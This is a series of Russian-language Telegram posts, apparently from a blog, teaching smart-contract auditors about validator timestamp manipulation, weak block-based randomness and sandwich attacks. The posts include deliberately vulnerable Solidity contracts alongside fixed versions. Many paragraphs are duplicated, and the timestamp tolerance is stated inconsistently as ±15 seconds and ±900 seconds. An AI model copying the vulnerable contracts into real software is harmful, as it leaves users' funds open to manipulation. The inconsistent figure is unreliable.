Атака майнеров. Часть 1
Сегодня мы углубимся в тему атак майнеров. Валидаторы (ранее известные как майнеры в системах Proof of Work) — это процессоры транзакций, которые обладают значительным контролем над механикой блокчейна. Понимание их привилегий в рамках протоколов консенсуса имеет важное значение для реализации безопасных смарт контрактов.
Мы рассмотрим сценарии, в которых валидаторы могут влиять на исполнение контрактов. Не путем прямого взлома, а путем использования своего положения в механизме консенсуса блокчейна.
В частности, мы рассмотрим следующие пункты контрольного списка:
SOL-AM-MA-1: Используется ли block.timestamp для операций, чувствительных ко времени?
SOL-AM-MA-2: Использует ли контракт свойства блока, такие как временная метка или сложность, для генерации случайных чисел?
SOL-AM-MA-3: Чувствительна ли логика контракта к порядку транзакций?
Давайте углубимся в тему и узнаем, как защитить ваши смарт контракты от этих тонких, но потенциально разрушительных атак!
Влияние майнеров на блокчейн системы
Майнеры играют ключевую роль в блокчейн сетях PoW, проверяя транзакции и обеспечивая безопасность сети посредством конкурентного процесса решения криптографических задач. Этот процесс, известный как майнинг, требует значительных вычислительных ресурсов и энергии для генерации действительных решений PoW, которые соответствуют целевому уровню сложности сети.
Эволюция Ethereum от PoW к Proof of Stake (PoS) превратила «майнеров» в «валидаторов». Тем не менее, сообщество специалистов по безопасности блокчейна продолжает использовать такие термины, как «извлекаемая майнерами ценность» - MEV - и «манипуляции майнеров» из-за их исторической распространенности и технической преемственности. Однако в настоящее время эти атаки осуществляются валидаторами, которые контролируют порядок транзакций в экосистеме Ethereum после слияния.
Майнеры обладают несколькими предоставленными протоколом возможностями, которые напрямую влияют на работу блокчейна. Они определяют включение транзакций и их порядок в блоках на основе стимулов в виде комиссий (цен на газ в Ethereum), что дает им контроль над очередностью обработки мемпула. Эта возможность определять порядок позволяет извлекать максимальную извлекаемую ценность (MEV) путем стратегического позиционирования транзакций без нарушения правил консенсуса. Майнеры могут манипулировать временными метками блоков в пределах допустимых сетью допусков, которые обычно составляют ±15 секунд в Ethereum и до 2 часов в Bitcoin, что может потенциально повлиять на логику контрактов, зависящих от времени, таких как периоды разблокировки или расчет процентов.
Кроме того, майнеры влияют на свойства блоков, включая ограничения газа, и определяют значения blockhash посредством своей майнинговой деятельности. Эти свойства становятся частью неизменного состояния блокчейна и могут влиять на контракты, функциональность которых зависит от них.
Мы уделяем основное внимание манипуляциям майнеров, которые могут быть выполнены без контроля над большинством хешрейта. В частности, это манипуляции, связанные с временными метками блоков, свойствами блоков, используемыми для генерации случайных чисел, и уязвимостями в порядке транзакций. Эти уязвимости могут быть использованы майнерами с небольшим участием в сети и представляют собой практические векторы атак на развернутые смарт-контракты.
Существуют и другие интересные векторы атак, в том числе:
- Атаки 51%: контроль над большей частью хешрейта для обеспечения двойной траты;
- Эгоистичный майнинг: стратегическое удержание блоков для увеличения относительного вознаграждения;
- Timejacking: манипулирование восприятием времени в сети;
- Атаки Eclipse: изоляция узлов от честных пиров;
Сегодня мы углубимся в тему атак майнеров. Валидаторы (ранее известные как майнеры в системах Proof of Work) — это процессоры транзакций, которые обладают значительным контролем над механикой блокчейна. Понимание их привилегий в рамках протоколов консенсуса имеет важное значение для реализации безопасных смарт контрактов.
Мы рассмотрим сценарии, в которых валидаторы могут влиять на исполнение контрактов. Не путем прямого взлома, а путем использования своего положения в механизме консенсуса блокчейна.
В частности, мы рассмотрим следующие пункты контрольного списка:
SOL-AM-MA-1: Используется ли block.timestamp для операций, чувствительных ко времени?
SOL-AM-MA-2: Использует ли контракт свойства блока, такие как временная метка или сложность, для генерации случайных чисел?
SOL-AM-MA-3: Чувствительна ли логика контракта к порядку транзакций?
Давайте углубимся в тему и узнаем, как защитить ваши смарт контракты от этих тонких, но потенциально разрушительных атак!
Влияние майнеров на блокчейн системы
Майнеры играют ключевую роль в блокчейн сетях PoW, проверяя транзакции и обеспечивая безопасность сети посредством конкурентного процесса решения криптографических задач. Этот процесс, известный как майнинг, требует значительных вычислительных ресурсов и энергии для генерации действительных решений PoW, которые соответствуют целевому уровню сложности сети.
Эволюция Ethereum от PoW к Proof of Stake (PoS) превратила «майнеров» в «валидаторов». Тем не менее, сообщество специалистов по безопасности блокчейна продолжает использовать такие термины, как «извлекаемая майнерами ценность» - MEV - и «манипуляции майнеров» из-за их исторической распространенности и технической преемственности. Однако в настоящее время эти атаки осуществляются валидаторами, которые контролируют порядок транзакций в экосистеме Ethereum после слияния.
Майнеры обладают несколькими предоставленными протоколом возможностями, которые напрямую влияют на работу блокчейна. Они определяют включение транзакций и их порядок в блоках на основе стимулов в виде комиссий (цен на газ в Ethereum), что дает им контроль над очередностью обработки мемпула. Эта возможность определять порядок позволяет извлекать максимальную извлекаемую ценность (MEV) путем стратегического позиционирования транзакций без нарушения правил консенсуса. Майнеры могут манипулировать временными метками блоков в пределах допустимых сетью допусков, которые обычно составляют ±15 секунд в Ethereum и до 2 часов в Bitcoin, что может потенциально повлиять на логику контрактов, зависящих от времени, таких как периоды разблокировки или расчет процентов.
Кроме того, майнеры влияют на свойства блоков, включая ограничения газа, и определяют значения blockhash посредством своей майнинговой деятельности. Эти свойства становятся частью неизменного состояния блокчейна и могут влиять на контракты, функциональность которых зависит от них.
Мы уделяем основное внимание манипуляциям майнеров, которые могут быть выполнены без контроля над большинством хешрейта. В частности, это манипуляции, связанные с временными метками блоков, свойствами блоков, используемыми для генерации случайных чисел, и уязвимостями в порядке транзакций. Эти уязвимости могут быть использованы майнерами с небольшим участием в сети и представляют собой практические векторы атак на развернутые смарт-контракты.
Существуют и другие интересные векторы атак, в том числе:
- Атаки 51%: контроль над большей частью хешрейта для обеспечения двойной траты;
- Эгоистичный майнинг: стратегическое удержание блоков для увеличения относительного вознаграждения;
- Timejacking: манипулирование восприятием времени в сети;
- Атаки Eclipse: изоляция узлов от честных пиров;
👍2🔥2🤔1
Однако для этого обычно требуются либо значительные вычислительные ресурсы, либо сложные механизмы управления сетью, выходящие за рамки стандартных операций майнинга. Такие атаки нацелены на уязвимости уровня консенсуса, а не на эксплуатацию контрактов на уровне приложений, и поэтому выходят за рамки наших непосредственных соображений по безопасности смарт контрактов.
Далее разберем несколько таких атак.
#miner #mev
Далее разберем несколько таких атак.
#miner #mev
👍6
Проект на виду. Часть 8. Какой контекст у смарт контракта?
Если вы уже некоторое время на канале, то, вероятно, помните, что я потихоньку разбираюсь и делаю свой небольшой проект на граница ИИ и Web3. По сути, это будет небольшой ассистент, который будет помогать аудировать код контракта и акцентировать внимание на похожих уязвимостях, которые были указаны в отчетах аудиторских компаний за продолжительный срок.
На данный момент я собрал около 28К уязвимостей из таких отчетов. Было бы больше 35К-40К, если бы я не удалял большинство Low и 99,5% Ingo/Gas описаний багов (честно говоря, во многих компаниях эти разделы откровенный мусор!).
Сейчас я в стадии ранжирования этих уязвимостей и определения "веса" каждой из них, для более аккуратных рекомендаций ассистента. Но сейчас не об этом.
На днях я столкнулся с проблемой, а что такое "контекст контракта"?
С одной стороны, "контекст контракта" - это его описание и основное назначение. Но насколько хорошим будет такой контекст для ответов на вопросы по нему?
С другой стороны, контракт - это набор определенных функций. И может стоит рассматривать контекст через призму его функций?
Или описание контекста функций недостаточно без детализации их внешних и внутренних действий? Кроме того, большую роль в контексте функций являются изменения состояний переменных хранилища и использование storage/memory пространств...
Кроме того, глупо рассматривать контекст отдельного контракта, когда он работает сообща с другими контрактами в протоколе и вне его.
А документация? Своя и протоколов, с которыми он работает... Это же тоже все должно быть частью контекста...
И вот получается, что для создания какого-то общего контекста проекта нужно как-то не понятным образом обработать огромные платы данных, и где есть вероятность, что они просто не поместятся в один запрос к ИИ на обработку.
На данном этапе анализаторов и аудиторов кода, все рассматривают контракты с позиции "разбить через solc и распознать" или "самому составить контекст", чтобы понять весь протокол и сгенерировать потенциальные атаки.
Этот подход отличный и рабочий (не зря есть столько мощных аудиторов).
А в своем проекте я хочу помочь аудиторам быстрее "понимать проект", а значит быстрее переходить к стадии поиска потенциальных уязвимостей.
P.S. Напомню, что я делаю не очередного ИИ-аудитора, а ассистента, который помогает разобраться в коде, а не ищет проблемы за самого аудитора.
С этим постом я просто хотел поделиться с вами, чем сейчас занимаюсь и куда стремлюсь. И если у вас появятся идеи или что-то по поводу контекста смарт контрактов, буду рад, если поделитесь в комментариях. Это очень поможет моей текущей работе.
#ai #tool
Если вы уже некоторое время на канале, то, вероятно, помните, что я потихоньку разбираюсь и делаю свой небольшой проект на граница ИИ и Web3. По сути, это будет небольшой ассистент, который будет помогать аудировать код контракта и акцентировать внимание на похожих уязвимостях, которые были указаны в отчетах аудиторских компаний за продолжительный срок.
На данный момент я собрал около 28К уязвимостей из таких отчетов. Было бы больше 35К-40К, если бы я не удалял большинство Low и 99,5% Ingo/Gas описаний багов (честно говоря, во многих компаниях эти разделы откровенный мусор!).
Сейчас я в стадии ранжирования этих уязвимостей и определения "веса" каждой из них, для более аккуратных рекомендаций ассистента. Но сейчас не об этом.
На днях я столкнулся с проблемой, а что такое "контекст контракта"?
С одной стороны, "контекст контракта" - это его описание и основное назначение. Но насколько хорошим будет такой контекст для ответов на вопросы по нему?
С другой стороны, контракт - это набор определенных функций. И может стоит рассматривать контекст через призму его функций?
Или описание контекста функций недостаточно без детализации их внешних и внутренних действий? Кроме того, большую роль в контексте функций являются изменения состояний переменных хранилища и использование storage/memory пространств...
Кроме того, глупо рассматривать контекст отдельного контракта, когда он работает сообща с другими контрактами в протоколе и вне его.
А документация? Своя и протоколов, с которыми он работает... Это же тоже все должно быть частью контекста...
И вот получается, что для создания какого-то общего контекста проекта нужно как-то не понятным образом обработать огромные платы данных, и где есть вероятность, что они просто не поместятся в один запрос к ИИ на обработку.
На данном этапе анализаторов и аудиторов кода, все рассматривают контракты с позиции "разбить через solc и распознать" или "самому составить контекст", чтобы понять весь протокол и сгенерировать потенциальные атаки.
Этот подход отличный и рабочий (не зря есть столько мощных аудиторов).
А в своем проекте я хочу помочь аудиторам быстрее "понимать проект", а значит быстрее переходить к стадии поиска потенциальных уязвимостей.
P.S. Напомню, что я делаю не очередного ИИ-аудитора, а ассистента, который помогает разобраться в коде, а не ищет проблемы за самого аудитора.
С этим постом я просто хотел поделиться с вами, чем сейчас занимаюсь и куда стремлюсь. И если у вас появятся идеи или что-то по поводу контекста смарт контрактов, буду рад, если поделитесь в комментариях. Это очень поможет моей текущей работе.
#ai #tool
👍6🔥1
Атака майнеров. Часть 2
Используется ли block.timestamp для операций, чувствительных ко времени?
Майнеры могут манипулировать block.timestamp на несколько секунд, что может повлиять на логику контрактов, зависящих от времени.
Как предотвратить: используйте block.number вместо временных меток для критически важных операций, связанных со временем, или убедитесь, что допустимая погрешность манипуляций приемлема.
block.timestamp представляет время, которое майнер предлагает для блока. Хотя оно обычно точное, майнеры имеют некоторую свободу для его корректировки. Эта свобода допускает потенциальные уязвимости в логике, чувствительной ко времени, такой как аукционы или периоды стейкинга.
Эта уязвимость является прямым следствием манипуляций майнеров, отражая их способность влиять на создание блоков. Хотя майнеры не могут устанавливать произвольные временные метки, они имеют некоторый контроль в рамках правил консенсуса. В Ethereum это примерно +/- 900 секунд (15 минут), хотя точный диапазон может варьироваться в зависимости от блокчейна.
Представьте себе аукцион, на котором майнер сдвигает временную метку в пользу своей ставки или ставки своего союзника. Это может привести к несправедливым преимуществам, таким как преждевременное завершение аукциона или манипулирование процессом торгов.
Посмотрите на пример:
В этом аукционном контракте время окончания аукциона (auctionEndTime) определяется как block.timestamp + _duration. Майнер может слегка изменить block.timestamp, чтобы досрочно завершить аукцион или отложить его. Он может отложить его настолько, чтобы его ставка была включена в блок, или ускорить его, чтобы исключить конкурирующую ставку.
Вместо того, чтобы полагаться непосредственно на block.timestamp, рассмотрите возможность использования block.number.
Используется ли block.timestamp для операций, чувствительных ко времени?
Майнеры могут манипулировать block.timestamp на несколько секунд, что может повлиять на логику контрактов, зависящих от времени.
Как предотвратить: используйте block.number вместо временных меток для критически важных операций, связанных со временем, или убедитесь, что допустимая погрешность манипуляций приемлема.
block.timestamp представляет время, которое майнер предлагает для блока. Хотя оно обычно точное, майнеры имеют некоторую свободу для его корректировки. Эта свобода допускает потенциальные уязвимости в логике, чувствительной ко времени, такой как аукционы или периоды стейкинга.
Эта уязвимость является прямым следствием манипуляций майнеров, отражая их способность влиять на создание блоков. Хотя майнеры не могут устанавливать произвольные временные метки, они имеют некоторый контроль в рамках правил консенсуса. В Ethereum это примерно +/- 900 секунд (15 минут), хотя точный диапазон может варьироваться в зависимости от блокчейна.
Представьте себе аукцион, на котором майнер сдвигает временную метку в пользу своей ставки или ставки своего союзника. Это может привести к несправедливым преимуществам, таким как преждевременное завершение аукциона или манипулирование процессом торгов.
Посмотрите на пример:
pragma solidity ^0.8.0;
// SPDX-License-Identifier: UNLICENSED
contract Auction {
uint public auctionEndTime;
address public highestBidder;
uint public highestBid;
mapping(address => uint) public pendingReturns;
bool public ended;
event BidPlaced(address bidder, uint amount);
event AuctionEnded(address winner, uint amount);
constructor(uint _duration) {
auctionEndTime = block.timestamp + _duration; // Vulnerability!
}
function isAuctionEnded() public view returns (bool) {
return block.timestamp >= auctionEndTime; // Vulnerable comparison!
}
function bid() public payable {
require(!isAuctionEnded(), "Auction has ended");
require(msg.value > highestBid, "Bid not high enough");
if (highestBid > 0) {
pendingReturns[highestBidder] += highestBid;
}
highestBidder = msg.sender;
highestBid = msg.value;
emit BidPlaced(msg.sender, msg.value);
}
function endAuction() public {
require(!ended, "Auction already ended");
require(isAuctionEnded(), "Auction not yet ended");
ended = true;
emit AuctionEnded(highestBidder, highestBid);
}
function withdraw() public returns (bool) {
uint amount = pendingReturns[msg.sender];
if (amount > 0) {
pendingReturns[msg.sender] = 0;
// Use call instead of transfer for better compatibility
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Transfer failed");
}
return true;
}
}
В этом аукционном контракте время окончания аукциона (auctionEndTime) определяется как block.timestamp + _duration. Майнер может слегка изменить block.timestamp, чтобы досрочно завершить аукцион или отложить его. Он может отложить его настолько, чтобы его ставка была включена в блок, или ускорить его, чтобы исключить конкурирующую ставку.
Вместо того, чтобы полагаться непосредственно на block.timestamp, рассмотрите возможность использования block.number.
pragma solidity ^0.8.0;
contract FixedAuction {
uint256 public auctionEndBlock;
uint256 public blockDuration;
constructor(uint256 _blockDuration) {
auctionEndBlock = block.number + _blockDuration;
blockDuration = _blockDuration; // Duration of auction in blocks
}
function finalizeAuction() public {
require(block.number >= auctionEndBlock, "Auction is not yet over.");
// Distribute funds
}
}
👍4
В этом примере FixedAuction мы используем block.number вместо block.timestamp для определения окончания аукциона. Это делает время проведения аукциона предсказуемым и устойчивым к манипуляциям майнеров с block.timestamp.
Однако майнер может вообще отказаться от добычи блоков, что задержит окончание аукциона, хотя это и является менее прямой формой манипуляции. Кроме того, использование block.number делает аукцион зависимым от скорости создания блоков. Если время блоков несовместимо, продолжительность аукциона может немного варьироваться в реальном времени.
Если требуется более детальное и согласованное время, рассмотрите возможность использования оракула Chainlink, но имейте в виду повышенную сложность и затраты на газ.
В целом рекомендуется избегать разработки функций, чувствительных ко времени с точностью до секунд, поскольку майнеры могут манипулировать временными метками блоков в пределах допустимых значений (обычно ±15 секунд в Ethereum). Смарт-контракты должны реализовывать механизмы, основанные на времени, с достаточными буферными периодами, чтобы предотвратить экономическую эксплуатацию посредством незначительных корректировок временных меток.
#miner #mev
Однако майнер может вообще отказаться от добычи блоков, что задержит окончание аукциона, хотя это и является менее прямой формой манипуляции. Кроме того, использование block.number делает аукцион зависимым от скорости создания блоков. Если время блоков несовместимо, продолжительность аукциона может немного варьироваться в реальном времени.
Если требуется более детальное и согласованное время, рассмотрите возможность использования оракула Chainlink, но имейте в виду повышенную сложность и затраты на газ.
В целом рекомендуется избегать разработки функций, чувствительных ко времени с точностью до секунд, поскольку майнеры могут манипулировать временными метками блоков в пределах допустимых значений (обычно ±15 секунд в Ethereum). Смарт-контракты должны реализовывать механизмы, основанные на времени, с достаточными буферными периодами, чтобы предотвратить экономическую эксплуатацию посредством незначительных корректировок временных меток.
#miner #mev
👍6
Атака майнеров. Часть 3
Использует ли контракт свойства блока, такие как временная метка или сложность, для генерации случайных чисел?
Описание: Свойства блока (временная метка, сложность) и другие предсказуемые значения не должны использоваться для генерации случайных чисел, поскольку на них могут влиять или предсказывать майнеры.
Исправление: Вместо этого используйте безопасный источник случайных чисел, такой как Chainlink VRF, схемы commit-reveal или механизм рандомизации с доказанной справедливостью.
Настоящая случайность (randomness) в блокчейне – это сложно. block.timestamp и block.difficulty на первый взгляд могут казаться случайными, но майнеры могут влиять на них, делая результат предсказуемым.
Майнеры могут манипулировать block.timestamp в рамках правил консенсуса, и хотя они имеют очень ограниченный краткосрочный контроль над block.difficulty, полагаться на них в критически важных для безопасности логических операциях – в целом плохая идея.
Представьте себе лотерею, в которой майнер заранее знает выигрышный номер. Не совсем честная игра. Опять же, это относится к манипуляциям майнеров, когда они используют свое влияние для получения преимущества.
Давайте посмотрим на несовершенный лотерейный контракт:
Здесь pickWinner использует block.timestamp для генерации «случайного» числа. Злоумышленник может изменить временную метку блока, содержащего транзакцию pickWinner, повлияв на результат и сфальсифицировав лотерею.
Вместо того, чтобы полагаться на легко манипулируемые свойства блока, используйте безопасный источник случайности, такой как Chainlink VRF, который предоставляет проверяемое и непредсказуемое случайное число, обеспечивая справедливость и предотвращая манипуляции. Свойства блока, такие как block.prevrandao, также лучше, чем block.timestamp, но все же не следует полагаться на них из-за возможности их устаревания.
Использует ли контракт свойства блока, такие как временная метка или сложность, для генерации случайных чисел?
Описание: Свойства блока (временная метка, сложность) и другие предсказуемые значения не должны использоваться для генерации случайных чисел, поскольку на них могут влиять или предсказывать майнеры.
Исправление: Вместо этого используйте безопасный источник случайных чисел, такой как Chainlink VRF, схемы commit-reveal или механизм рандомизации с доказанной справедливостью.
Настоящая случайность (randomness) в блокчейне – это сложно. block.timestamp и block.difficulty на первый взгляд могут казаться случайными, но майнеры могут влиять на них, делая результат предсказуемым.
Майнеры могут манипулировать block.timestamp в рамках правил консенсуса, и хотя они имеют очень ограниченный краткосрочный контроль над block.difficulty, полагаться на них в критически важных для безопасности логических операциях – в целом плохая идея.
Представьте себе лотерею, в которой майнер заранее знает выигрышный номер. Не совсем честная игра. Опять же, это относится к манипуляциям майнеров, когда они используют свое влияние для получения преимущества.
Давайте посмотрим на несовершенный лотерейный контракт:
pragma solidity ^0.8.0;
// SPDX-License-Identifier: UNLICENSED
contract Lottery {
address public winner;
function pickWinner() public {
// Vulnerable randomness generation using block.timestamp
uint256 randomNumber = uint256(block.timestamp) % 100;
if (randomNumber == 7) {
winner = msg.sender;
} else {
winner = address(0);
}
}
function getBlockTimestamp() public view returns (uint256) {
return block.timestamp;
}
}
Здесь pickWinner использует block.timestamp для генерации «случайного» числа. Злоумышленник может изменить временную метку блока, содержащего транзакцию pickWinner, повлияв на результат и сфальсифицировав лотерею.
Вместо того, чтобы полагаться на легко манипулируемые свойства блока, используйте безопасный источник случайности, такой как Chainlink VRF, который предоставляет проверяемое и непредсказуемое случайное число, обеспечивая справедливость и предотвращая манипуляции. Свойства блока, такие как block.prevrandao, также лучше, чем block.timestamp, но все же не следует полагаться на них из-за возможности их устаревания.
🔥5
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {VRFConsumerBaseV2Plus} from "@chainlink/contracts/src/v0.8/vrf/dev/VRFConsumerBaseV2Plus.sol";
import {VRFV2PlusClient} from "@chainlink/contracts/src/v0.8/vrf/dev/libraries/VRFV2PlusClient.sol";
/**
* @noscript SecureLottery
* @notice A lottery contract using Chainlink VRF V2.5 for verifiable randomness
* @dev This is an example contract and should not be used in production without proper auditing
*/
contract SecureLottery is VRFConsumerBaseV2Plus {
// Chainlink VRF configuration
uint256 public s_subnoscriptionId;
bytes32 public keyHash = 0x787d74caea10b2b357790d5b5247c2f63d1d91572a9846f780606e4d953677ae; // Sepolia gas lane
uint32 public callbackGasLimit = 100000;
uint16 public requestConfirmations = 3;
uint32 public numWords = 1;
// Lottery state variables
uint256 public randomNumber;
address public winner;
mapping(uint256 => bool) public requestIds;
uint256 public lastRequestId;
// Events
event RandomnessRequested(uint256 requestId);
event WinnerSelected(address winner, uint256 randomNumber);
/**
* @param subnoscriptionId Chainlink VRF subnoscription ID
* @param vrfCoordinator Address of the VRF Coordinator contract
*/
constructor(
uint256 subnoscriptionId,
address vrfCoordinator
) VRFConsumerBaseV2Plus(vrfCoordinator) {
s_subnoscriptionId = subnoscriptionId;
}
/**
* @notice Request random number from Chainlink VRF
* @param useNativePayment Whether to pay in native tokens (true) or LINK (false)
* @return requestId The ID of the randomness request
*/
function requestRandomWinner(bool useNativePayment) external returns (uint256 requestId) {
// Request randomness from Chainlink VRF
requestId = s_vrfCoordinator.requestRandomWords(
VRFV2PlusClient.RandomWordsRequest({
keyHash: keyHash,
subId: s_subnoscriptionId,
requestConfirmations: requestConfirmations,
callbackGasLimit: callbackGasLimit,
numWords: numWords,
extraArgs: VRFV2PlusClient._argsToBytes(
VRFV2PlusClient.ExtraArgsV1({
nativePayment: useNativePayment
})
)
})
);
requestIds[requestId] = true;
lastRequestId = requestId;
emit RandomnessRequested(requestId);
return requestId;
}
/**
* @notice Callback function called by VRF Coordinator when randomness is fulfilled
* @param requestId The ID of the randomness request
* @param randomWords The random words generated by Chainlink VRF
*/
function fulfillRandomWords(
uint256 requestId,
uint256[] calldata randomWords
) internal override {
require(requestIds[requestId], "Request not found");
require(randomWords.length > 0, "Random words array is empty");
// Process the random value
randomNumber = randomWords[0] % 100; // Example: limit to 0-99 range
// Lottery winner selection logic would go here
// For example, if you have participants in an array:
// winner = participants[randomNumber % participants.length];
emit WinnerSelected(winner, randomNumber);
}
/**
* @notice Get the status of a VRF request
* @param requestId The ID of the randomness request
* @return exists Whether the request exists
*/
function getRequestStatus(uint256 requestId) external view returns (bool exists) {
return requestIds[requestId];
}
}
Этот контракт SecureLottery использует Chainlink VRF для генерации действительно случайного числа. Функция requestRandomWords запрашивает случайное число у службы Chainlink VRF. Функция fulfillRandomWords (которая ДОЛЖНА присутствовать при наследовании от VRFConsumerBaseV2Plus) получает случайное число и использует его для определения победителя. Это обеспечивает справедливый и непредсказуемый результат лотереи.
Использование Chainlink VRF влечет за собой внешние зависимости и затраты на газ. Кроме того, требуется настроить подписку на Chainlink VRF и управлять связанными с ней сборами. Однако эти затраты часто являются оправданной платой за повышенную безопасность и справедливость.
#miner #mev
Использование Chainlink VRF влечет за собой внешние зависимости и затраты на газ. Кроме того, требуется настроить подписку на Chainlink VRF и управлять связанными с ней сборами. Однако эти затраты часто являются оправданной платой за повышенную безопасность и справедливость.
#miner #mev
👍8❤2
Атака майнеров. Часть 4
Зависит ли логика контракта от порядка транзакций?
Описание: Майнеры контролируют порядок транзакций и могут использовать это для атак типа «фронт-раннинг», «бэк-раннинг» или «сэндвич».
Устранение: Реализуйте защиту, позволяя пользователям указывать приемлемые результаты, которые отменяют транзакции в случае нарушения.
Майнеры определяют порядок включения транзакций в блок. Хотя майнеры обычно отдают приоритет транзакциям с более высокими ценами на газ, они не обязаны этого делать. Это позволяет злонамеренным майнерам (или сложным ботам) стратегически упорядочивать транзакции в своих интересах. Такое использование может привести к фронтран, бекран или сэндвич атакам. Эти атаки используют манипуляции с порядком транзакций для извлечения выгоды.
Представьте себе децентрализованную биржу (DEX). Майнер видит в мемпуле крупный ордер на покупку определенного токена. Он может вставить свой собственный ордер на покупку перед крупным ордером (фронт-раннинг), что приведет к росту цены. Затем он может вставить свой ордер на продажу после крупного ордера (бэк-раннинг или сэндвич-атака), извлекая прибыль из роста цены, вызванного первоначальной сделкой.
Вот упрощенная уязвимая DEX:
Зависит ли логика контракта от порядка транзакций?
Описание: Майнеры контролируют порядок транзакций и могут использовать это для атак типа «фронт-раннинг», «бэк-раннинг» или «сэндвич».
Устранение: Реализуйте защиту, позволяя пользователям указывать приемлемые результаты, которые отменяют транзакции в случае нарушения.
Майнеры определяют порядок включения транзакций в блок. Хотя майнеры обычно отдают приоритет транзакциям с более высокими ценами на газ, они не обязаны этого делать. Это позволяет злонамеренным майнерам (или сложным ботам) стратегически упорядочивать транзакции в своих интересах. Такое использование может привести к фронтран, бекран или сэндвич атакам. Эти атаки используют манипуляции с порядком транзакций для извлечения выгоды.
Представьте себе децентрализованную биржу (DEX). Майнер видит в мемпуле крупный ордер на покупку определенного токена. Он может вставить свой собственный ордер на покупку перед крупным ордером (фронт-раннинг), что приведет к росту цены. Затем он может вставить свой ордер на продажу после крупного ордера (бэк-раннинг или сэндвич-атака), извлекая прибыль из роста цены, вызванного первоначальной сделкой.
Вот упрощенная уязвимая DEX:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// Simple ERC20 token for testing
contract TestToken is ERC20 {
constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
}
}
// Simplified DEX that's vulnerable to front-running
contract VulnerableDEX {
TestToken public tokenA;
TestToken public tokenB;
uint public reserveA;
uint public reserveB;
constructor(address _tokenA, address _tokenB) {
tokenA = TestToken(_tokenA);
tokenB = TestToken(_tokenB);
}
// Initialize liquidity
function addLiquidity(uint amountA, uint amountB) external {
tokenA.transferFrom(msg.sender, address(this), amountA);
tokenB.transferFrom(msg.sender, address(this), amountB);
reserveA += amountA;
reserveB += amountB;
}
// Calculate output amount for a given input
function _calculateSwapOutput(address tokenIn, uint amountIn) internal view returns (uint amountOut) {
require(tokenIn == address(tokenA) || tokenIn == address(tokenB), "Invalid token");
bool isTokenA = tokenIn == address(tokenA);
if (isTokenA) {
amountOut = (reserveB * amountIn) / (reserveA + amountIn);
require(amountOut < reserveB, "Insufficient liquidity");
} else {
amountOut = (reserveA * amountIn) / (reserveB + amountIn);
require(amountOut < reserveA, "Insufficient liquidity");
}
return amountOut;
}
// Execute the swap with pre-calculated output
function _executeSwap(address tokenIn, uint amountIn, uint amountOut, address sender) internal {
bool isTokenA = tokenIn == address(tokenA);
if (isTokenA) {
tokenA.transferFrom(sender, address(this), amountIn);
// Update reserves
reserveA += amountIn;
reserveB -= amountOut;
// Transfer output tokens to the user
tokenB.transfer(sender, amountOut);
} else {
tokenB.transferFrom(sender, address(this), amountIn);
reserveB += amountIn;
reserveA -= amountOut;
tokenA.transfer(sender, amountOut);
}
}
// Vulnerable swap function (no minimum output)
function swap(address tokenIn, uint amountIn) external returns (uint amountOut) {
// Calculate the expected output
amountOut = _calculateSwapOutput(tokenIn, amountIn);
// Execute the swap
_executeSwap(tokenIn, amountIn, amountOut, msg.sender);
return amountOut;
}
}
❤3🔥1
В этом контракте VulnerableDEX функция обмена не имеет защиты от проскальзывания, что делает ее уязвимой для атак типа «сэндвич». Эти атаки являются формой эксплуатации максимально извлекаемой стоимости (MEV), при которой прибыль извлекается путем манипулирования порядком транзакций.
Когда жертва отправляет транзакцию обмена в мемпул, опытные поисковики MEV выявляют возможность и выполняют трехэтапную атаку:
1. Фронтранинг: сначала злоумышленник размещает транзакцию на покупку целевого актива, намеренно завышая цену.
2. Транзакция жертвы: своп жертвы выполняется по этой искусственно завышенной цене, и она получает меньше токенов, чем ожидалось, из-за отсутствия гарантий минимального выхода.
3. Бэкранинг: злоумышленник продает ранее приобретенные токены по более высокой цене, созданной транзакцией жертвы, получая разницу в цене в качестве прибыли.
Хотя любой участник, отслеживающий mempool, может осуществлять атаки типа «сэндвич», производители блоков обладают привилегированными возможностями по упорядочиванию транзакций, что позволяет им осуществлять такие атаки с большей степенью уверенности.
Стратегии смягчения последствий зависят от конкретного контекста, но в целом защита от проскальзывания предотвращает атаки типа «сэндвич», гарантируя, что транзакция жертвы не будет выполнена по невыгодной цене. Позвольте пользователям указывать максимальное проскальзывание, которое они готовы допустить при совершении сделки. Если цена выходит за пределы этого порога, транзакция отменяется. Это защищает пользователей от атак типа «сэндвич».
Вот пример защиты от проскальзывания, которая смягчает последствия атаки типа «сэндвич», описанной в тесте выше.
#miner #mev
Когда жертва отправляет транзакцию обмена в мемпул, опытные поисковики MEV выявляют возможность и выполняют трехэтапную атаку:
1. Фронтранинг: сначала злоумышленник размещает транзакцию на покупку целевого актива, намеренно завышая цену.
2. Транзакция жертвы: своп жертвы выполняется по этой искусственно завышенной цене, и она получает меньше токенов, чем ожидалось, из-за отсутствия гарантий минимального выхода.
3. Бэкранинг: злоумышленник продает ранее приобретенные токены по более высокой цене, созданной транзакцией жертвы, получая разницу в цене в качестве прибыли.
Хотя любой участник, отслеживающий mempool, может осуществлять атаки типа «сэндвич», производители блоков обладают привилегированными возможностями по упорядочиванию транзакций, что позволяет им осуществлять такие атаки с большей степенью уверенности.
Стратегии смягчения последствий зависят от конкретного контекста, но в целом защита от проскальзывания предотвращает атаки типа «сэндвич», гарантируя, что транзакция жертвы не будет выполнена по невыгодной цене. Позвольте пользователям указывать максимальное проскальзывание, которое они готовы допустить при совершении сделки. Если цена выходит за пределы этого порога, транзакция отменяется. Это защищает пользователей от атак типа «сэндвич».
Вот пример защиты от проскальзывания, которая смягчает последствия атаки типа «сэндвич», описанной в тесте выше.
// Secure swap function with minimum output requirement
function swapWithMinimumOutput(
address tokenIn,
uint amountIn,
uint minAmountOut
) external returns (uint amountOut) {
// Calculate the expected output
amountOut = _calculateSwapOutput(tokenIn, amountIn);
// Check slippage before executing the swap
require(amountOut >= minAmountOut, "Slippage too high");
// Execute the swap
_executeSwap(tokenIn, amountIn, amountOut, msg.sender);
return amountOut;
}
#miner #mev
👍3🔥1
Про современный вайбкоддинг
Несколько месяцев назад, вроде как в начале лета, я писал пост про вайбкоддинг и то, что современные ИИ достаточно далеки от того, чтобы самостоятельно писать код, готовый для продакшена.
Ситуация начинает меняться очень и очень быстро.
